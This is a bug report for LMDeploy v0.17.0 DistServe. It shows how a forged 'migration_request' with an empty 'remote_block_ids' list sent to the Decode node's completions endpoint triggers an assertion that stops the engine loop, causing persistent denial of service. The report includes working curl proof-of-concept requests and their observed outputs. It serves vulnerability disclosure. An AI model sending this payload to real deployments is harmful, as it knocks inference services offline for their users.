[Bug] Untrusted `migration_request` can terminate the DistServe Decode EngineLoop and cause persistent denial of service
- Dominant language
- Python
- Stars
- 8.1k
- Forks
- 748
- Avg merge
- 6d 2h
- Merged PRs (30d)
- 54
Description
### Checklist
- [x] 1. I have searched related issues but cannot get the expected help.
- [x] 2. The bug has not been fixed in the latest version.
- [x] 3. Please note that if the bug-related issue you submitted lacks corresponding environment info and a minimal reproducible demo, it will be challenging for us to reproduce and resolve the issue, reducing the likelihood of receiving feedback.
### Describe the bug
LMDeploy DistServe's Decode OpenAI-compatible API accepts a `migration_request` field from the external request body and forwards it into the internal P/D migration path. An attacker who can send the API request to the Decode node's own `/v1/completions` or `/v1/chat/completions` endpoint can submit a syntactically valid but semantically invalid `migration_request`, triggering an uncaught exception in the Decode migration loop.
The exception is not isolated to the offending request. The Decode `EngineLoop` waits on its long-running tasks with `asyncio.FIRST_EXCEPTION`; when the migration task fails, the remaining pending tasks are cancelled and the whole Decode engine loop exits. In my test, one malicious request made Decode `/health` become unhealthy. Subsequent normal Decode requests returned 503, and normal Proxy-routed requests also returned an LMDeploy 503 error object. Recovery required restarting the affected engine/container.
## Detail
Analyzed and tested version:
- Runtime version: LMDeploy `v0.17.0`
The root-cause chain is as follows.
First, both completion and chat completion OpenAI-compatible entry points read `migration_request` directly from the external JSON request body:
- `lmdeploy/serve/openai/endpoints/completions.py:130-135`
- `lmdeploy/serve/openai/chat_completions/serving.py:180-185`
Relevant code:
```python
migration_request = json_request.pop('migration_request', None)
with_cache = json_request.pop('with_cache', False)
preserve_cache = json_request.pop('preserve_cache', False)
if migration_request:
migration_request = MigrationRequest.model_validate(migration_request)
```
This only performs Pydantic shape validation. It does not verify that the field was generated by a trusted Proxy, nor does it validate the semantic consistency of the migration data.
`MigrationRequest` is defined in `lmdeploy/pytorch/disagg/conn/protocol.py:93-101`:
```python
class MigrationRequest(BaseModel):
protocol: MigrationProtocol
remote_engine_id: str
remote_session_id: int
remote_token_id: int
remote_block_ids: list[int]
is_dummy_prefill: bool = False
```
The public API path does not validate, for example:
- whether `remote_engine_id` is a trusted and connected peer;
- whether `protocol` matches the currently enabled migration backend;
- whether the remote cache-pool/session/block metadata exists;
- whether `remote_block_ids` matches the block table actually allocated on the Decode side.
When a request contains `migration_request`, the sequence is placed into `MIGRATION_WAITING` instead of the normal `WAITING` state. This happens in `lmdeploy/pytorch/messages.py:300-328`:
```python
status = MessageStatus.WAITING if migration_request is None else MessageStatus.MIGRATION_WAITING
seq.set_state(build_seq_state(self.scheduler, seq, status))
```
The Decode migration loop then consumes these externally supplied fields. The relevant code is in `lmdeploy/pytorch/engine/engine_loop.py:585-611`:
```python
prefill_block_ids = migration_request.remote_block_ids
decode_block_ids = list(self.scheduler.block_manager.get_block_table(msg=msg))
assert len(prefill_block_ids) == len(decode_block_ids), (
f'#prefill block ids ({len(prefill_block_ids)}) must equal to '
f'#decode block ids ({len(decode_block_ids)})'
f'all id length: {msg.num_token_ids}')
migration_inputs = MigrationExecutionBatch(
protocol=migration_request.protocol,
requests=migration_execution_requests)
await self.executor.migrate(migration_inputs)
```
The bare `assert` is directly influenced by the request-controlled `remote_block_ids`. If a request provides an empty `remote_block_ids` list while the Decode scheduler allocates a local block for the request, the assertion fails with `AssertionError`. This failure happens before the real migration backend call (`await self.executor.migrate(...)`), so it does not depend on successful KV transfer.
The impact is broader than the current request. `EngineLoop` starts several long-running tasks, including `MainLoopMigration`:
- `lmdeploy/pytorch/engine/engine_loop.py:662-677`
`EngineLoop.wait_tasks()` then waits on them via `wait_for_async_tasks()`:
- `lmdeploy/pytorch/engine/engine_loop.py:682-701`
- `lmdeploy/pytorch/utils.py:186-213`
`wait_for_async_tasks()` uses `asyncio.FIRST_EXCEPTION`:
```python
done, pending = await asyncio.wait(tasks, return_when=asyncio.FIRST_EXCEPTION)
if cancel_pending:
for task in pending:
task.cancel()
for task in done:
if exc := task.exception():
raise exc from None
```
Therefore, one exception inside `MainLoopMigration` cancels the other long-running EngineLoop tasks and is re-raised. The logs show `EngineLoop wait_tasks failed` followed by `Engine main loop failed`. After that, the request manager detects that the main loop is no longer alive, and later requests become `ResponseType.ENGINE_STOP_ERROR`.
The health check reflects this state. In `lmdeploy/pytorch/engine/engine.py:738-746`, if the request loop is no longer alive, the engine returns:
```python
return dict(
alive=False,
message='PyTorch engine request loop is not alive.',
schedule_metrics=None)
```
### Reproduction
Test environment:
- Target version: LMDeploy `v0.17.0`
- Model: `Qwen2.5-0.5B-Instruct`
- Deployment mode: DistServe 1P1D, three containers: Proxy / Prefill / Decode
- Proxy URL: `http://127.0.0.1:19000`
- Prefill URL: `http://127.0.0.1:19001`
- Decode URL: `http://127.0.0.1:19002`
- Relevant configuration:
- `LMDEPLOY_MIGRATION_PROTOCOL=NVLINK`
- `LMDEPLOY_MIGRATION_BACKEND=DLSlime`
- `LMDEPLOY_SESSION_LEN=2048`
- `LMDEPLOY_MAX_BATCH_SIZE=4`
- `LMDEPLOY_CACHE_MAX_ENTRY_COUNT=0.30`
The lab used `LMDEPLOY_AUDIT_NOOP_MIGRATION=1` because this host could not complete reliable CUDA P2P/RDMA data transfer. This does not change the LC2 trigger mechanism: the demonstrated failure is the block-count assertion in `engine_loop.py`, and it occurs before the real backend migration call (`await self.executor.migrate(...)`).
### 1. Confirm Decode works before the attack
Send a normal Decode request:
```bash
curl --noproxy '*' --silent --show-error \
--output baseline_decode_response.json \
--write-out 'baseline_decode_http=%{http_code} baseline_decode_time=%{time_total}\n' \
-X POST 'http://127.0.0.1:19002/v1/completions' \
-H 'Content-Type: application/json' \
-d '{
"model": "Qwen2.5-0.5B-Instruct",
"prompt": "LC2 baseline direct decode request",
"temperature": 0,
"max_tokens": 1,
"stream": false
}'
```
Observed result:
```text
baseline_decode_http=200 baseline_decode_time=0.079193
```
### 2. Confirm the normal Proxy path works before the attack
Send a normal Proxy request:
```bash
curl --noproxy '*' --silent --show-error \
--output warm_proxy_response.json \
--write-out 'warm_proxy_http=%{http_code} warm_proxy_time=%{time_total}\n' \
-X POST 'http://127.0.0.1:19000/v1/completions' \
-H 'Content-Type: application/json' \
-d '{
"model": "Qwen2.5-0.5B-Instruct",
"prompt": "LC2 warm full proxy path. The capital of France is",
"temperature": 0,
"max_tokens": 2,
"stream": false
}'
```
Observed result:
```text
warm_proxy_http=200 warm_proxy_time=0.141891
```
### 3. Send a syntactically valid but semantically invalid `migration_request` to Decode
Attack request:
```bash
curl --noproxy '*' --silent --show-error \
--output attack_decode_response.json \
--write-out 'attack_decode_http=%{http_code} attack_decode_time=%{time_total}\n' \
-X POST 'http://127.0.0.1:19002/v1/completions' \
-H 'Content-Type: application/json' \
-d '{
"model": "Qwen2.5-0.5B-Instruct",
"prompt": "LC2 forged migration_request full decode API path",
"temperature": 0,
"max_tokens": 1,
"stream": false,
"migration_request": {
"protocol": 3,
"remote_engine_id": "http://127.0.0.1:19001",
"remote_session_id": 123456789,
"remote_token_id": 1,
"remote_block_ids": [],
"is_dummy_prefill": false
}
}'
```
In the v0.17.0 JSON/Enum representation, `protocol=3` corresponds to `NVLINK`. The key point is that `remote_block_ids` is an empty list, while the Decode side allocates at least one local block for this request. This deterministically triggers the block-count assertion.
Observed result:
```text
attack_decode_http=503 attack_decode_time=1.011092
```
Attack response body:
```json
{"message":"The inference engine is unavailable.","type":"server_error","code":503,"param":null,"object":"error"}
```
### 4. Check Decode health after the attack
```bash
curl --noproxy '*' --silent --show-error \
'http://127.0.0.1:19002/health'
```
Observed response:
```json
{"status":"unhealthy","message":"PyTorch engine request loop is not alive."}
```
### 5. Send another normal Decode request after the attack
```bash
curl --noproxy '*' --silent --show-error \
--output post_decode_normal_response.json \
--write-out 'post_decode_normal_http=%{http_code} post_decode_normal_time=%{time_total}\n' \
-X POST 'http://127.0.0.1:19002/v1/completions' \
-H 'Content-Type: application/json' \
-d '{
"model": "Qwen2.5-0.5B-Instruct",
"prompt": "LC2 baseline direct decode request",
"temperature": 0,
"max_tokens": 1,
"stream": false
}'
```
Observed result:
```text
post_decode_normal_http=503 post_decode_normal_time=1.010515
```
The response body remained:
```json
{"message":"The inference engine is unavailable.","type":"server_error","code":503,"param":null,"object":"error"}
```
### 6. Send another normal Proxy request after the attack
```bash
curl --noproxy '*' --silent --show-error \
--output post_proxy_response.json \
--write-out 'post_proxy_http=%{http_code} post_proxy_time=%{time_total}\n' \
-X POST 'http://127.0.0.1:19000/v1/completions' \
-H 'Content-Type: application/json' \
-d '{
"model": "Qwen2.5-0.5B-Instruct",
"prompt": "LC2 warm full proxy path. The capital of France is",
"temperature": 0,
"max_tokens": 2,
"stream": false
}'
```
Observed result:
```text
post_proxy_http=200 post_proxy_time=1.073680
```
Although the transport-level HTTP status was 200, the response body was the same LMDeploy 503 error object:
```json
{"message":"The inference engine is unavailable.","type":"server_error","code":503,"param":null,"object":"error"}
```
This shows that the Decode engine loop was broken and that normal Proxy-routed traffic to this Decode node was no longer usable.
### 7. Relevant Decode log excerpt
The Decode logs contained the following failure chain:
```text
EngineLoop wait_tasks failed.
Engine main loop failed.
AssertionError: #prefill block ids (0) must equal to #decode block ids (1)all id length: 9
ResponseType.ENGINE_STOP_ERROR
```
The counted log events were:
```text
decode_engine_loop_failed=1
decode_engine_main_failed=1
decode_engine_stop_error=3
decode_assertion_error=1
```
Summary of observed results:
```text
baseline_decode_http=200 baseline_decode_time=0.079193
warm_proxy_http=200 warm_proxy_time=0.141891
attack_decode_http=503 attack_decode_time=1.011092
post_decode_normal_http=503 post_decode_normal_time=1.010515
post_proxy_http=200 post_proxy_time=1.073680
decode_health_after_attack={"status":"unhealthy","message":"PyTorch engine request loop is not alive."}
```
## Impact
This issue can cause persistent denial of service.
An attacker only needs to send one syntactically valid JSON request to the Decode node's OpenAI API. The malformed `migration_request` triggers an exception in the Decode migration loop. Because the exception propagates through `FIRST_EXCEPTION` handling to the whole `EngineLoop` task group, the impact is not limited to the malicious request. The Decode request loop stops serving subsequent requests.
**Observed impact**:
- before the attack, a normal direct Decode request returned HTTP 200;
- before the attack, a normal Proxy full-path request returned HTTP 200;
- after one malicious `migration_request`, Decode `/health` returned unhealthy;
- after the attack, a normal direct Decode request returned HTTP 503;
- after the attack, a normal Proxy request returned an LMDeploy 503 error object;
- logs showed `EngineLoop wait_tasks failed`, `Engine main loop failed`, `AssertionError`, and multiple `ResponseType.ENGINE_STOP_ERROR` events.
### Environment
```Shell
Target version: LMDeploy v0.17.0
Model: Qwen2.5-0.5B-Instruct
Python: 3.12.3 (main, Jul 15 2026, 23:46:41) [GCC 13.3.0]
CUDA available: True
GPU 0: NVIDIA A100 80GB PCIe
GPU 0 Compute Capability: 8.0
CUDA_HOME: /usr/local/cuda
NVCC: Cuda compilation tools, release 13.0, V13.0.88
CUDA Driver Version: 590.48.01
PyTorch: 2.13.0+cu130
sglang: 0.5.19
sglang-kernel: 0.4.6.post1
flashinfer_python: 0.6.18
flashinfer_cubin: 0.6.18
flashinfer_jit_cache: 0.6.18+cu130
triton: 3.7.1
transformers: 5.12.1
numpy: 2.3.5
aiohttp: 3.14.3
fastapi: 0.141.1
huggingface_hub: 1.30.0
interegular: 0.3.3
modelscope: 1.39.1
orjson: 3.12.0
outlines: 0.1.11
packaging: 26.3
psutil: 7.2.2
pydantic: 2.13.5
python-multipart: 0.0.32
pyzmq: 27.2.0
uvicorn: 0.52.4
uvloop: 0.22.1
xgrammar: 0.2.1
openai: 2.6.1
tiktoken: 0.14.0
torchcodec: 0.15.0+cu130
ulimit soft: 1024
```
### Error traceback
```Shell
```
Contributor guide
Assessment
This issue has not been assessed yet.